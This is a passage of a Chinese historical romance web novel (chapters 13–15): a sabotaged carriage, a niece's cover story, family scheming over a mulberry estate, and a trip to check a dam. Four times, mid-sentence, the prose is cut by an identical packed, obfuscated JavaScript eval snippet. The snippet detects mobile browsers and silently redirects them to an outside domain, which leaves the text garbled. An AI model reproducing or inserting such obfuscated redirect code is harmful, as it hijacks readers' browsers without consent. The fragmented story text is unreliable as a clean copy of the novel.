晚上崔岑带着林敢和钟意去讲堂，听江南士人坐而论道。崔糕看着快到戌时末，既不见小侯爷回来，也不见两个侍女过来，忍不住要去催一催这两个不务正业的女娃。 他刚走到西厢门口，忽然听见屋里提到“崔侯”。 屋里，小蛮和小莲二人正坐在绒厚地垫上。小莲的容貌更秀丽些，眼眸似含一层水光，无论什么姿态都有三分楚楚可怜。灯下看美人，越看越美，此刻她长眉轻蹙，语声犹疑：“咱们真的不过去？” “你瞧瞧，昨晚那样都没叫留下，可见崔侯不论何故都是不愿和我们有牵扯的。” “可使君送我们来……” 屋里静了一瞬，随即响起小蛮的调侃声，“那又如何，你还敢强上不成？别想了，熄灯罢。” 窗上的灯光即刻黯了下来，语声也越发低不可闻。 “小蛮，你不想跟崔侯么？” “……那也得有命留下。” 崔糕那个愁啊，不但小侯爷不近女色，现在女色也不敢近小侯爷了？ 忠心的老仆人回去看到小侯爷冷冷清清的床榻，只得在被窝里放上熏笼，哎，愁啊！ …… 崔岑来乌镇，自然不是来吃吃喝喝的。 难得第二日放晴，陪客的一行人就来相请。领头的除沈复外，另一位是郓州府衙清吏司的主客郎中沈庆，也是沈复的堂叔祖。 以崔岑的身份，原该是沈闵之亲自作陪，但崔岑几番坚辞婉拒，称不敢耽误太守公务繁忙。沈闵之便退一步让儿子沈复代为陪客，想必他们年轻人在一起更有话题罢？ 几人互相见礼问安后，沈庆便提议今早去乌镇最大的桑园游览。 崔岑欣然允之：“江南事桑养蚕久矣，天下丝绸无出其右，我正心向往之。” 一行人登车，车轮辘辘，要往十几里外的青陀山而去。 车上，沈庆见崔岑对桑农蚕事感兴趣，便详细介绍开来。 这位主客郎中可不只是仗着辈分的绣花枕头，他心想反正桑树只适南方土壤，蚕宝亦不能存活于北地，倒不怕卖个人情让崔岑听去。沈庆便从桑树的种植一直讲到蚕室建造，蚕种孵化，养蚕的十几道工序。 沈复也插补几句，气氛十分融洽。 “崔侯现在去到桑园，便能见到浴种了。浴种需多次进行，一次在腊月里要经寒冻沥去余毒，二次要在清明催青前以温水浴之。浴蚕有两种方式，蓬阳和莱州这些地方多是用石灰法，我们郓州则是用盐水浴法。此法是将蚕纸浮于卤水上，浸浴十二日后捞出，再于微火上烤干……” “老郎中且慢。”崔岑听得津津有味，却忽然出声打断，饶有兴致地朝沈复和沈庆的脸上看去。 只这一个停顿，林敢和钟意均是面色一变。 沈复二人却有些莫名其妙，被他们三个探究的眼神盯得心里打鼓，“崔侯，为何——” 话还未说完，只听马车底部陡然一声“喀嚓”断裂的脆响，车厢忽向侧边一沉！ 电光火石间，崔岑三人有所防备，顺手抵住了车壁。坐在对面的沈庆和沈复却没有反应过来，顿时惊叫连连。 沈复狼狈不堪，朝车外惊怒道：“混账东西！外边发生何事？” “是车轴，”不等车夫回答，钟意推开车窗，探出脑袋扫了一眼，“车轴断了。” 钟意话音刚落，车厢底部又是一声巨响。沈复直接要扑到崔岑怀里，崔岑眼疾手快扶住了他肩膀。 陡生变故，两匹拉车的骏马被辔头扯得剧痛无比，唏律律嘶叫着，眼看就要失控。 崔岑当机立断，将沈复推向钟意：“你们两个带人跳车！” 钟意接住昏头转向的沈复，转瞬便见崔岑已跃出车厢，飞身到了一匹马背上，不由惊呼“侯爷小心！” “跳！”林敢大吼一声，一脚使劲踹开结实的车壁，抱着老郎中就是纵身一跃。 钟意不敢迟疑，依样跳车，带着沈复就地滚了几滚卸去冲力，也不管沈复摔得七晕八素，甩手就把人丢开。做为近卫，他便是崔岑的影子，他脚下发力，如离弦之箭往惊马的方向飞奔而去。 他的侯爷，可万万不能出事！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142935|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这边厢，两匹枣红马拖着残破的车厢惯性飞驰，车夫早被甩下车辕，不知死活。没有马鞍，崔岑只能靠两股之力死死夹着马腹，他骑术高超，控缰很有技巧，不多时两匹马儿就同时有了被安抚住的迹象。 然而不巧，其中一匹不知在地上踩到了什么，马蹄一崴竟向崔岑这边砸来。 这要是砸中了，连人带马都要砸扁。 电光火石间，崔岑眸中闪过一丝杀气，他矮身从筒靴里摸出一把匕首，镇定地插进倾砸过来的马背上，借力一个倒翻。 这一翻矫若游龙，他还有余力再踹向马腹！ 这一脚他用了十成力气，崴马借着这股巨力，轰隆一声倒向路边。霎时马儿痛嘶声震耳欲聋，山路上悲鸣不止。 “侯爷！”片刻后钟意追上来，远远就见崔岑坐在余下一匹高头大马上，朝来路的方向慢悠悠晃荡。 见到人没事，钟意这才松了口气。虽然知道他家侯爷武力比他还强些，但万一有个什么，谁能担得起？ 崔岑走到近前，唇角微扬，意犹未尽：“不知是谁送我的这份大礼。” 钟意也咧嘴笑了笑，可不是，这下不敲干沈太守的骨髓都不好意思了！ 两人原路回去。一见到崔岑，沈庆和沈复才半颗心落地，剩下半颗自是要为这事给崔侯一个交代。 在郓州地界上，燕地三州之主出了这样几乎等同刺杀的事，怕是要交出足够分量的代价才能作数了。尤其沈庆老郎中，不止面色苍白，心里更是凉透了。礼宾馆的车马用具正是他的孙子在负责，这下不死也要脱层皮了！ 崔岑听他们二人解释保证了许多，也不知有没有听进去，能做主的人不在，反正他是不急的。 倒是来都来了，他对桑园依旧有兴趣：“这离桑园还有多远，我们走着去方便么？” 沈复满头大汗，见崔岑没有当场发作也是松了口气，态度越发恭敬：“回崔侯，估摸着还有五六里，若是崔侯想去，我们不若在前方风雨亭里稍作歇息，待城中再派车马过来。” 一旁的林敢忽瞥了眼沈庆，插嘴道：“沈公子，若是派车来便再换个向导罢，据我所知……” 那意思不言而喻。 别看崔岑是在别人地界上，但他们竟连这种小事也一清二楚。沈复心中一丝侥幸也不敢有了，沈庆更是吓得腿骨打颤。 钟意眼睛一亮，极有默契地笑道：“在乌镇我们也不识得谁，只一个沈七娘子还面善，沈公子不若请七娘子一同出来踏青罢！” 沈复不意他们提到妹妹沈砚，再看崔岑没有出声，就有些为难。叫一个未出阁的女眷和一车男人同处，便是有他这个兄长在，也有些不妥。 但对着崔岑那张冷脸，他实在提不起多余的胆气。 想来此时此刻就是他爹在，也是要低头的罢？沈复咬咬牙，应道：“就依林将军所言。” 13. 第十三章 大姑母的打算 婢女急急来报时，沈砚正千篇一律地坐在窗下的制砚桌前，手里捏着小刀。 吴娘忙叫阿桃阿杏预备衣裳配饰，又收走了她的刀具：“娘子，使君着人来请，还是快些收拾妥当好。” 沈砚由着她们摆布，口中却笑道：“吴娘现在急着赶我去，待会儿可别后悔。” “这是怎么说的，使君还能叫娘子吃亏不成？”吴娘不信。 “吃不吃亏不知道，反正没什么好事。”崔岑现在还在乌镇，她爹一干人等正神经紧绷，哪有空想到她一个小女子，还特特叫人来请去外出玩耍？ 那报信的语焉不详，一问三不知，沈砚却没傻，必定是崔岑那里出了幺蛾子。 等见了沈闵之，沈砚才知事情比她想得更疯魔，更棘手。她都要气笑了，不知道是不是该庆幸，若非叔祖和沈复也在车上，崔岑遇险一事就能要了许多人的命！ 千般小心万般防，没想到是自家人掘了坟墓，还不知要陪葬多少金银财帛，大好河山。 这三月的天，沈闵之冷汗都下来了。 他脸色晦沉，不愿同沈砚说太多，草草打发了她：“既叫你去，你就与你哥哥带他们四处游玩一番，旁的事不要提，万不要惹怒了人。若崔侯问起，就说我先处理此事去了，晚些再来请罪。” 沈太守这是慌了要避一避，要去寻人商讨对策，她此行就是去拖延时间的。沈砚心里清楚，宽慰道：“父亲不必忧心，相信集众人之力，此事必能妥善处理。” 纵拖得一时，又能躲到哪里去呢？ 大半个时辰后，马车带着沈砚和阿桃，还有拉长脸的吴娘停在了山路边。 “崔侯恕罪，我原该早些到才是，”沈砚一下车，便向崔岑解释，“但接哥哥报信后，父亲即刻羁押我族兄沈涯审问，我旁听了几句，因此耽搁了。” 老郎中闻言大为着急，张口想问，又尴尬地闭上嘴。 “哦？”崔岑也挺感兴趣的，“不知你那位族兄怎么想的，他祖父和堂哥也在车上，都不顾念几分？” 沈砚苦笑道：“说来不怕崔侯笑话，族兄竟是为争风吃醋才闹出这桩糊涂事来，叫父亲大为光火。我们先上车罢，边走边说。” 私德有碍，总比蓄意谋害的罪名轻些。 新的朱漆马车比之前那辆更敞阔奢华，是沈闵之日常自用的那辆。待几人登车后，沈砚递给沈庆一个安抚的眼神：“叔祖身体不适，父亲特派车来接，余下便由我和哥哥略尽地主之谊，还请叔祖放心。” 沈庆自是巴不得快点回去善后，忙向崔岑行礼告退：“老朽这就回去，亲自审讯那个混账东西！” 崔岑笑了笑，没有接话。 老郎中只得讪讪离去。 上车落座后，沈砚又向崔岑温言解释道：“还请崔侯恕罪，父亲原是要亲自过来，被我劝住了。我想来，崔侯既还有游园之兴，当是不愿叫这些事扰了行程，待得回去时，父亲能将此中干系一五一十查清，这才是真正要紧。都怪我自作主张，父亲并不敢有一丝怠慢，还请崔侯明鉴。” 吴娘上车后便垂首坐在门边，听闻沈砚一席话，不由暗道：亏得七娘眼明心透，装傻卖乖了得，否则怎能替使君囫囵圆了场面？ 使君把七娘叫去时，她也在边上听着呢，分明是要拿娘子在前面挡一挡。使君也就是歪打正着，换个资质一般的女儿，怕是三言两语早把他卖了！ 崔岑似模似样点头，眼中闪过一丝淡淡的狭促：“七娘子说得在理。” 可不是，沈闵之这会儿过来才是尴尬，面对破车死马，他有底气吱一声么？倒是由他美貌的小女儿出面拖一拖，有什么不妥也成了她的年幼不懂事，大男人怎好与她计较？ 林敢和钟意坐崔岑下手，钟意不吝朝沈砚露了个笑脸。阿桃敬陪末座，只低头伺候陶壶煮水，预备泡茶。 沈砚也不管他说什么，接着解释道：“我族兄这事，说来真是荒唐。二月里从徐州过来几位游学的书生士人，我父亲见他们有几分才华，便安排住进礼宾馆，资以食宿金帛。我族兄平日里管着车马之事，因而知道这些人时常坐车游荡在金缕河畔填词作曲，便觉徐州士子欺世盗名，不过是来郓州骗吃骗喝，很是不满。” 金缕河畔多是花街勾栏，是乌镇的温柔乡，也是销金窝。 “更有甚者，近日有一位学子看中了族兄青眼的花魁，因着这些士人平日里多受礼遇，我族兄不愿明着和他们冲突，便在车上动了手脚，要叫他们外出时出个丑。” 来时的路上，沈砚早就想好了说辞。这些年，她出府去最多的两处地方，除了金石巷便是礼宾馆，那里杂七杂八的事也略知一二。不管如何，行刺一说万万牵扯不得，崔岑既没伤到一根头发丝，只要面上能糊弄过去，私下怎么赔偿就还有余地。 自然，再卖点不痛不痒的情报，想来他会更高兴。 见崔岑认真听着，沈砚便继续道：“徐州士子一行有七八人，早前那辆马车大小正合适，这些天便一直听候他们差用。今日我叔祖带崔侯出游，礼宾馆也安排了同规制的车辆，倒是仆役一个错眼，不慎混淆，才酿成了这桩祸事。” 崔岑和她的目光微微一撞，有些意味深长。 徐州来的可不是游学士子那么简单，应当说是投奔来效力沈家的才更准确。这乱世群雄纷争，虽是由得世家大权操弄，但寒庶小户、乡野出身也可挣出一丝生机，文采武功就是最好的投名状，登天梯。江南富庶安逸，中原和北地不少人逃难到此，无能的只求一屋安稳，有才的还想一展抱负。 不过照沈砚透露的来看，郓州也未必欢迎这些人，像沈涯这样心生嫉恨的只怕不在少数。 “原来如此，竟是凑巧了。” 尽管漏洞百出，崔岑一锤定音，算是认可了这件事的性质。 沈砚就给沈复递了一眼。沈复回过神来，忙道：“正是如此，崔侯之名冠绝天下，郓州上下无不敬仰，此番只是事有凑巧，待回程后定给崔侯一个满意交代！” 他还以为这是父亲交代妹妹的措辞，自然极力找补。 这件事就算暂时按下了。 沈砚转而笑道：“崔侯可知，我们前去的桑园是谁家的？” 这有何难，崔岑唇角轻轻一扬：“乌镇最大的桑园，怕是也姓沈罢。” “崔侯猜得不错，桑园目下正是我大姑母一家在打理，”沈复连忙接上话，“看车程还有两刻钟就到了，我们午时就在园子里用茶饭，我姑母家中有一厨娘，祖上原是明帝时宫里出来的……” 几人便凑趣地顺着话儿说开，沈砚捧着吴娘递来的茶具陪坐一旁，不再言语。 沈家的桑园占地极广，山头连绵，大片山林都种植着桑树。此时已是三月下旬，新鲜的嫩桑叶刚刚采摘完毕，再过不久四月里桑树开花，五六月枝头就能结满桑葚。 园中四通八达，主道宽两丈，沿途有不少平房和蚕室，偶有桑女和织女在路边行走，猫犬相逐，好一派田园风光。 几驾马车一直驶到一座大屋前，以一老妇人为首，七八个人站在马头墙下相迎。 沈砚的大姑母是沈闵之的嫡亲大姐，当年沈老太君心疼这个长女，不但将桑园交给女儿作营生，还招赘了一个外来户。不过沈砚不大喜欢大姑母一家，年节走动时，她觉得大姑母大约是这辈子太顺心了，一家人都有些骄横跋扈。 大姑母今年已五十又五，霜发半白，容长脸有些刻薄相，但她对沈复和沈砚这两个亲亲外甥还是很热情的。招呼完崔岑后，大姑母便拉着沈砚的手，不住打量道：“阿砚真是越长越可人疼，瞧这模样多俊啊！” 也不知大姑母哪里来的力气，沈砚几乎是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142936|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被老人家拽住了。她进退不得，又不好对长辈甩脸，只好顺着大姑母往门里去。 崔岑见她被人难住，不免有些惊奇，又有些好笑。 大姑母育有两子一女，大儿子前些日去到外镇未归，便由小儿子沈辉陪同崔岑一行游览桑园。沈砚在大姑母屋里略坐了坐，便带着人寻机出来，缀在队尾。 “……崔侯爷今日来巧了，我们正在用温水浴法处理最后一批蚕种，等今晚收进蚕室，过几日便要开始孵化了。” 沈辉侃侃而谈，若不是他眼中对崔岑的敬畏太过明显，倒也不失风度。 沈砚的大姑父是入赘，本姓林，前些年已去世，现在桑园从上到下都姓沈，仿佛林姑父不曾存在过似的。沈砚漫漫想着，越走越慢，示意身后的阿桃附耳过来。 阿桃忙上前一步：“娘子？” “你且回府一趟，将我马车上那番说辞——”沈砚只说了半截。 阿桃却听懂了，轻声道：“是，我这就回去禀明使君。” 使君来找娘子时，显而易见还无头绪，时间紧迫更没审出个子丑寅卯来。娘子在马车上那番“争风吃醋”的解释，需得和使君对一对口径才好。 沈砚又低声嘱咐道：“阿桃，你告诉父亲，这都是哥哥急中生智，我不过从旁附和了几句。” 阿桃知道沈砚不想出头，如何两边糊弄她已有过许多经验，便俏皮道：“我晓得的，不会坏了娘子的好事。” 吴娘也笑道：“淘气，快去罢。” 待目送阿桃离去，吴娘回过神来一看，忙提醒道：“娘子，我们是不是快些走，快要瞧不见前头人影了。” “他们要去看浴蚕，我可不想去。” 吴娘对沈砚是无条件纵容的，自然顺她的意：“那就不去，娘子去那葡萄架下歇罢，等大公子他们回来。” 只是去到这僻静地方也没片刻安生。 葡萄架一侧种着密实的栀子树，沈砚才刚坐下，便听到那边有说话声，且似乎在说她？ “……瞧祖母和她那亲热样，不知道的还以为她才是亲孙女呢。说是金尊玉贵，却整日里出来抛头露面，又来我家是要做什么，心也太贪了！” 这是个清亮的稚气女声，倒不难听，只一时间沈砚也想不起是哪个小辈。她抬手制住了想出声的吴娘。 “娘子别生气了，虽说老太君是有那个意思，但我瞧着林公子哪里看得上她？” 林公子？沈砚原还未醒过神来，再一转念便明白了。 这也是她为何不喜大姑母一家的另一重原因。树篱那头所说的“林公子”是大姑母的孙子林万峰，不过是大表哥房里庶出的，无足轻重，所以才给林姑父续了香火，姓了林。沈砚元月里还见过他一面，十八九岁的青年确是芝兰玉树。大姑母前些年就隐约透出过一个奇思妙想，想要让沈砚嫁过来，如此林万峰等同入赘，这样桑园完完整整还是姓沈。 到这种时候，大姑母便惦记起姓林和姓沈的区别来，眼睁睁要做成表亲之间的联姻。 对，嫡庶之别是迂见，姑侄辈分不是问题，表亲血缘更不算什么，在大姑母眼里这都是亲上加亲，“谁舍得下这万亩金桑林呢？”大姑母一辈子守着这万亩桑林，享尽人间富贵，看这世上再没什么比这钱生钱的产业更重要。 可这乱世里她身为太守嫡女，姻缘和前程早已注定，不是别人轻易能惦记的。这浅显道理，连吴娘几人都懂，桑园里的老老少少却不明白。 “……她今年就十五了，你说祖母真要把她弄来么？” 沈砚见隔壁说不出更多了，翻来覆去都在担心她沈砚嫁来桑园后会如何作威作福，虽然她听得津津有味，却也觉得有些浪费时间。 不顾吴娘惊怒神色，她转过树篱便是冷冷一笑：“大侄女，你年纪轻轻，忧虑的事却不少呀。” 14. 第十四章 率性 栀子还未开花，那树下的女孩倒生得一张白皙脸庞，乌丸似的杏眼若非流露出惊慌失措，倒真是个甜甜的小美人。沈砚认出来了，这是她姑母家大表哥的女儿沈莹，在桑园里一贯得宠，因而养得气性十分大。 如今看来，这个十四岁的小侄女不止心高气傲，心思也一径往歪路上去了。 “沈砚、砚姑姑！？你怎么在这儿，你偷听我说话？”沈莹吓得小脸煞白，尾音都尖了。 身后的侍女也惊恐万分，缩着脖子恨不能把脸埋地里。 “哦？”沈砚斜了她一眼，好整以暇道，“你有什么值得我偷听的，难不成，方才你说我坏话了？” 沈莹脸上火辣辣的，辩解道：“砚姑姑你听岔了，我和小银在说一个采桑女呢，那桑女惯会哄我祖母开心，却不是个好的……” 她仔细回想，确定两人从没提到过沈砚的名字，心放下一半。 “我听岔了？”沈砚也不和她多说，转头道，“吴娘，你代我去和大姑母告罪一声，就说我已有贪图桑园、阴谋夺产之名，万万不敢留下蹭饭，这就先行一步。” “你！” 沈莹有些发怵，若沈砚真的这样离开桑园，可想而知她定是要被父亲和祖母骂惨了！ “姑姑，姑姑好容易来一趟，祖母常念叨你呢，你也不忍心叫她老人家失望罢？” 小姑娘就是好唬，听见告状就心虚了。沈砚可没有长她一辈的自觉，从容睨了她一眼：“我虽讨嫌却也知趣，惹了主人不喜，岂敢再在人前晃荡。” 都是十几岁，谁还不是个宝宝？ 一旁的小银和吴娘都惊呆了，尤其是吴娘。 这些年在太守府里时，没人敢这样妄议沈砚，吴娘也就从没见过沈砚这样恣意率性的一面。亏她还一直觉得自家七娘是个清冷、不爱生事的泥人性子，这才真是想岔了！ 从小到大沈莹哪受过这样的委屈？她盯着沈砚，唇瓣哆嗦，极力稳住声音：“姑姑，我昨晚吹了风有些不舒服，现在就回屋歇息去。” 沈砚懒惫应了一声，浑没放在心上。 哪怕沈砚讥诮、敲打几句也好，偏她对自己的委屈退让看得这样随意，这让沈莹心中更加不忿，不过是仗着自己生在舅公家里，她沈莹也姓沈，她也是沈家嫡孙女啊！ 总有一天，总有一天，她要叫沈砚好看！ 这个小插曲很快过去。 等崔岑参观完蚕室、织房和染房，已是午时一刻，这还只逛了桑园一小半地方。沈砚中途又缀了上去，不紧不慢跟着晃了一圈。 午间摆席，果然不见沈莹露面。 崔岑和大姑母上坐，沈复和沈辉主陪，桑园里的几个子侄辈连林万峰都老实坐着，倒是大堂哥的两个嫡子不见踪影，一问才知是去邻县讨教学问去了。 沈砚与这一家都是面子情，不咸不淡和侄子们闲话了几句。 她的席位就摆在大姑母下手处，这倒方便了老太太时不时转头和她说话。 “阿砚，我记得你小时候最是淘气，府里哪个假山都要钻一钻，我这儿可真正是万亩山林，你要是喜欢，可要时常过来玩。” 大姑母对沈砚是越看越满意，不但模样好，性子也软和安静，真要能和孙子凑成一对，桑园还是要落在她手里，毕竟这才是她沈家的人。 大姑母一辈子要强，心里实是对她那个入赘的夫婿有几分看不起，沈家这座金山造的基业传给儿子们，也总有一分不乐意。当年沈老太君力排众议把桑园交给大姑母，大姑母便也将这责任扛起，她爱重自己的姓氏和出身，她身故后定也不能叫沈家产业交给旁姓。 老人家不糊涂，再怎么样招赘，这世间都是从父血论，儿孙毕竟原该姓林。只有阿砚是她弟弟的嫡生女儿，是她的亲外甥女，旁个人比不了。 沈砚对大姑母的这些个念头敬谢不敏，就算她和川蜀做不成亲事，也是万不想和大姑母一家有这方面的牵扯。 沈砚有些腼腆地开口道：“姑母还记得呀，我如今可不敢淘气了，平日里只寻摸些石头来打发时间，就是刀子折损得厉害，姑母这儿，可有上好生铁匀我一些？” “刀子，生铁？”大姑母被她说出的这些字眼唬了一跳，从前约莫听弟妹李氏说起过外甥女喜欢砚台，倒不知和刀子有什么相干。 沈砚便拣起一只筷子，她的五指细嫩纤长，三指随意一个轻拈动作便十分雅致。 只见木筷在沈砚指间灵巧地挽了几轮花样，最后眼花缭乱将要失控时倏然收住！筷尖抵在桌上，像一柄细刀子插进桌面，如她的回答一样溢出几丝凉意：“就像这样，姑母，我可不是幼时那样了。” 这撒泼耍杂的模样，成何体统！ 大姑母只觉沈砚虽是笑盈盈的，但望过来的眼睛格外深邃，竟有几分对立的强悍之势。她心头一惊，隐隐有十分不喜，拉着沈砚说话的心就淡了大半。 那边崔岑正向沈辉问起这几日的雨势。 “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142937|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌镇春日里，向来有这么多雨水么？方才听二公子所说，家蚕怕冷怕热，怕湿怕燥，性情十分娇贵，我来乌镇路上竟有大半时间在下雨，这怕是易积潮气，不利孵化罢？” 沈辉也是无奈苦笑：“今年雨水格外多些，崔侯说得不错，开春回了温也不若往年，再加上湿气过重，桑园里好些蚕卵已是废壳，损失千万。” 沈砚打发了大姑母，无聊时耳听八方，心中忽然一动。 待到散席，沈砚寻机问了几个下人。 青陀山桑园选址在此，沈砚知道便是因这附近有一条大河，方便取水灌溉山林。除此之外，她记忆里隐约记得幼年来大姑母家时，曾听说附近有个拦水坝。 但问了几人，都摇头说不知。 反倒是林万峰那个大侄子，犹豫了片刻：“姑姑说的，可能是牛角坳那个水坝，但那是二三十年前建的，如今怕是已弃用。” “这儿离牛角坳有多远？” “离桑园约十几里，有些偏远，姑姑这是想？” 歹竹出好笋，对这个大侄子，沈砚倒没什么意见。她即刻拿定主意：“你识得路么？再唤几个护卫，你带我前去看看。” 乌镇菏泽遍布，城中水路通达向海，沈砚知道的几个水坝均在周边乡县，这半日功夫她哪都去不成。今春雨量超常，眼前的水坝不知什么情形，但听“牛角坳”名字就知山势地形，勉强能做个参考。 她平日里懒惫，但明知天象有异，就这样漠视心中的不安她也做不出。就近走这一遭，也算聊以慰藉了。 林万峰踌躇着应下，又建议道：“我识得路，不过还是请上小叔陪我们一道罢，行路在外不敢不稳妥。” 沈砚没有异议。 一行人歇罢，崔岑向大姑母告辞。沈辉送他们离开，登车前沈砚忽然叫住他。 “堂哥，”虽然不情愿，但沈砚扮起小人来也毫不费力，“我想起这儿有处风景不错，你借我一车嘛，我想去逛逛。” 这请求算什么，对这位出身太守府的金贵堂妹，沈辉哪有不应的，且定要亲自陪同。 “崔侯恕罪。” 沈砚也不管沈复不赞同的眼色，只向崔岑歉然一笑。这些礼数如果要时时周到，她也就不是沈砚了。 崔岑就见林万峰悄然站到了沈砚身后，两人年少俊美，有无形默契，宛若一对璧人。反正闲着也是闲着，他扬眉一笑：“天色尚早，有这等好地方，七娘子不嫌弃的话带上我一个如何？” 15. 第十五章 咒偶 如何？沈砚看了崔岑一眼，那意思是不明白他来凑什么热闹：“一个粗野地方，怕要让崔侯失望了。” 因崔岑几个也要跟来，沈辉和林万峰就另坐一辆小车在前面带路。 这意外的行程，叫沈复对妹妹有了几分恼火，今天发生的事一再脱出掌控，他心里的惶恐不安实难言述，面上也露出了些许不悦。 “阿砚，你这是想去往何处？” “……”沈砚岂能不知沈复的顾虑。只她自己糊弄堂哥倒也无妨，但带着这一串身份贵重的人，就含糊不过去了。 众人都盯着她要解释，沈砚只好道出实情：“不瞒崔侯，不瞒哥哥，是我听闻附近有一处水坝，想要去一探究竟。可恼这连日来春雨不绝，山间泥泞，此行并未有什么好景可观，恳请崔侯回转城中罢。” 太胡闹了！ 沈复心里着恼，语气中不觉带出几分：“好好的，你怎么想起要去看水坝？” 这郊野凉山岂是好出行的，崔岑本就是个爱生事的，他们战战兢兢防着他都不够，若再节外生枝谁担得起？ 沈砚低着头，乖乖听训。 钟意与林敢交换了一个眼神，瞧着沈七娘华服淑女的娴静模样，竟想要钻山爬沟，真是意外。 崔岑哂然一笑。虽知沈砚有着与稚美外表不相称的机敏头脑，但这天下能说会道的小娘子不少，他也只当她是坐在闺中的其中一个。 没想到啊，他越发不愿错过了：“七娘子莫非小瞧我，你能走得，我怎么就走不得？” 见劝不动崔岑，沈砚只好继续向沈复解释道：“我也是一时兴起，二月里至今一直雨势缠绵，乌镇往年春季从不曾有这样多雨水……今日听闻大姑母的桑园因此折损无数，我想起离这儿不远的牛角坳有个水坝，便想转去瞧一眼。” 水坝属于河防水务，算是郓州内政，崔岑若识趣就该调头回避。 沈复心里疑惑妹妹怎么关心起这些事来，但当着崔岑的面实不是说话的时机。他只得忍下，提议道：“若如此，我们回城后叫人前去探查一番便是，崔侯贵客，怎能到那深山里去？” “……哥哥说得在理。” 沈砚没有坚持。她本意就是要叫郓州对今春河防引起重视，此时沈复既应允派人查探，若是水势有异自然能叫他们警觉，若是无事不过是她被父兄斥责一顿，倒是划算。 他们兄妹二人达成了共识，崔岑却不肯配合了。 他的目光在沈砚脸上略停一停，对沈复笑道：“明举无需顾忌我，我是出来透口气，此行甚好。” 明举是沈复的字。崔岑一再这样表示，反而叫他们不得不成行了。 沈复心中火烧火燎，又是纳罕又是郁闷。马车遇险一事还悬而未决，还不知会牵扯出什么来，目下他哪有心情四处游荡，只想快快把人安然无恙送回去啊！ 沈砚却是心下一沉，崔岑比她想象中更难缠，也更仗势欺人。 牛角坳实是有些偏远，从大路上走了一阵又要拐进山间小道。那小道若是骑马还使得，马车却是过不去了。 前车的沈辉便下来请示，是否还要继续步行。 “都到这儿了，下车走罢。”崔岑这个贵客不顾主人脸色，拿了主意。 地上因连日落雨，泥土湿软水泞，众人都踩得小心翼翼，饶是如此依然个个鞋底沾了厚厚泥渍，很是狼狈。沈砚和吴娘也不例外，襦裙下摆泥水斑斑。 艰难行了约两刻钟，路况才夯实了些，路边也能见到一些开垦出的农田。远远的，还有人影在劳作。 “就快到了。” 带路的林万峰松了口气，领着这么一群人，他面上很难不紧张。 远远的，有个小童背着一摞高高的枯柴，伛偻着迎面走来。待走近了众人才看清，这是个面黄肌瘦的男童，衣裤上补丁摞补丁，因为过于瘦弱，脸上的一双眼睛大得有些吓人。 小童早就先一步避到路旁，畏惧地看着他们这群人。 沈砚和小童的目光撞上，回了微微一笑。 众人也没在意，不料走出十几步，忽听身后有人叫喊，“喂！不要再走了，快走，不要进村！” 那声音又哑又颤，听着似下了好大决心。沈砚回头，见是那个背柴的男童。 “怎么回事？”沈辉皱了皱眉，打发侄儿林万峰过去打听，“万峰，你过去问问。” 只是还不等林万峰走近，那男童见他们停步望过来，已是吓得飞快跑开，还踉跄着摔了两步，似乎十分害怕他们。 “小孩子莫名奇妙。”沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142938|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辉也没放在心上。他可是姓沈，桑园这方圆几十里，哪个村子不仰他们鼻息，这村里就是有鬼也吓不住他。 不管如何，小心些总是没错的，钟意和林敢交换了一个眼神，悄悄护在崔岑左右。 众人一路走到村口，就见村口的大槐树下围着一群孩子，咿咿嘿嘿在嚷着什么。崔岑几人耳力好，便听见什么“打死你！”“害人精，贪心鬼！” 再近一些，那些衣衫褴褛的幼童看到沈辉一行人，吓得一哄而散，搞得沈辉面上无光。 “那树上挂着什么？”眼尖的钟意瞧见树枝上吊着一根麻绳，绳上系着个物什。 近前了才明白刚才那群孩子在做什么。那树上吊下的是一个破布扭系在一起的布疙瘩，孩子们在拿石头、泥块、碎瓦片砸它，甚至唾沫吐它。 “这是什么游戏？”钟意见它又丑又脏，有些嫌弃。 “那上面似乎有字，”崔岑眼力极好，“钟意。” 